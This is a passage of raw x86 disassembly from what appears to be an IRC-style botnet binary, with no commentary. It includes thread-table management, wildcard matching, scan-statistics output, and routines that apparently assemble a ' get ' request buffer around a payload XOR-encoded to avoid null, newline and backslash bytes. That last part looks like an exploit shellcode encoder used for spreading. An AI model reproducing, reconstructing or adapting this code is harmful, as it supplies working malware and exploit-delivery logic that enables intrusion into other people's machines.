push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: .text:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B9C0
push [esp+8+arg_4]
mov esi, eax
call sub_41B9C0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B9C0
push [ebp+arg_C]
mov esi, eax
call sub_41B9C0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43171C, eax
lea eax, [edi+1]
mov dword_43173D, eax
lea eax, [edi+17h]
mov dword_431735, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316B8
push ebx
mov dword_43174B, eax
call sub_41CD20
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CD20
add esi, 74h
push 5
push offset aGet ; " get "
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, edi
push 10h
push 431731h
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CD20
add esi, edi
push 38h
add esi, ebx
push offset byte_431741
push esi
call sub_41CD20
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi
push ebx
call sub_40B11C
add eax, 101h
push eax
call sub_41BEB5
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B11C
pop ecx
pop ecx
push eax
push esi
call sub_40B13C
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB18
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB18, bl
ja short loc_40B375
push 15h
push offset dword_4316A0
push [ebp+arg_0]
mov byte_4316AD, cl
mov byte_4316B1, bl
call sub_41CD20
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h
push offset dword_431688
push [ebp+arg_0]
mov word_431696, cx
mov byte_43169B, bl
call sub_41CD20
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B3BA proc near ; CODE XREF: sub_401221+378p
; sub_401221+3B7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E710
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB710
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E710[esi]
push eax
call sub_41BFD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E910[esi], eax
and dword_43E914[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E918[esi], 0
mov dword_43E91C[esi], eax
and byte_43E928[esi], 0
pop esi
loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B425 proc near ; DATA XREF: sub_401ACD+2946o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B477
push [ebp+var_14]
call sub_40B6D6
add esp, 14h
push 0
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40B425 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B477 proc near ; CODE XREF: sub_40B425+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_43177C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43E710
loc_40B4A1: ; CODE XREF: sub_40B477+78j
cmp byte ptr [esi], 0
jz short loc_40B4E2
cmp [ebp+arg_C], 0
jnz short loc_40B4B5
cmp dword ptr [esi+204h], 0
jnz short loc_40B4E2
loc_40B4B5: ; CODE XREF: sub_40B477+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
loc_40B4E2: ; CODE XREF: sub_40B477+2Dj
; sub_40B477+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B4A1
pop edi
pop esi
leave
retn
sub_40B477 endp
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E924[esi]
lea edi, dword_43E924[esi]
call ds:dword_4270B4 ; TerminateThread
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E918[esi]
mov dword_43E910[esi], ebx
mov dword_43E914[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E91C[esi]
mov byte ptr dword_43E710[esi], bl
mov byte_43E928[esi], bl
push dword ptr [edi]
call dword_4CBA6C ; closesocket
lea esi, dword_43E920[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA6C ; closesocket
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; sub_401221:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E710
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E914
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB914
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: sub_401221+40Fp
; sub_401ACD:loc_40242Bp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E910
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB910
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E910
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB910
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B661
push [ebp+arg_1C]
call sub_41C159
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C266
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C266
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; sub_40B425+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E924[eax], ecx
mov dword_43E910[eax], ecx
mov dword_43E914[eax], ecx
mov dword_43E918[eax], ecx
mov dword_43E91C[eax], ecx
mov dword_43E920[eax], ecx
mov byte ptr dword_43E710[eax], cl
mov byte_43E928[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431B94
push eax
xor ebx, ebx
call sub_41C266
cmp dword_4317F8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431800
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431B88
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4E0
mov ecx, dword_4CE4DC
push esi
push dword_4CB714
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4E0
lea eax, [ebp+var_200]
push dword_4CE4DC
push offset unk_431BB4
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE718
push offset unk_431BFC
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push edi
lea eax, [ebp+var_800]
push offset dword_431C48
push eax
call sub_41C266
cmp dword_4317F8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C38
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_800]
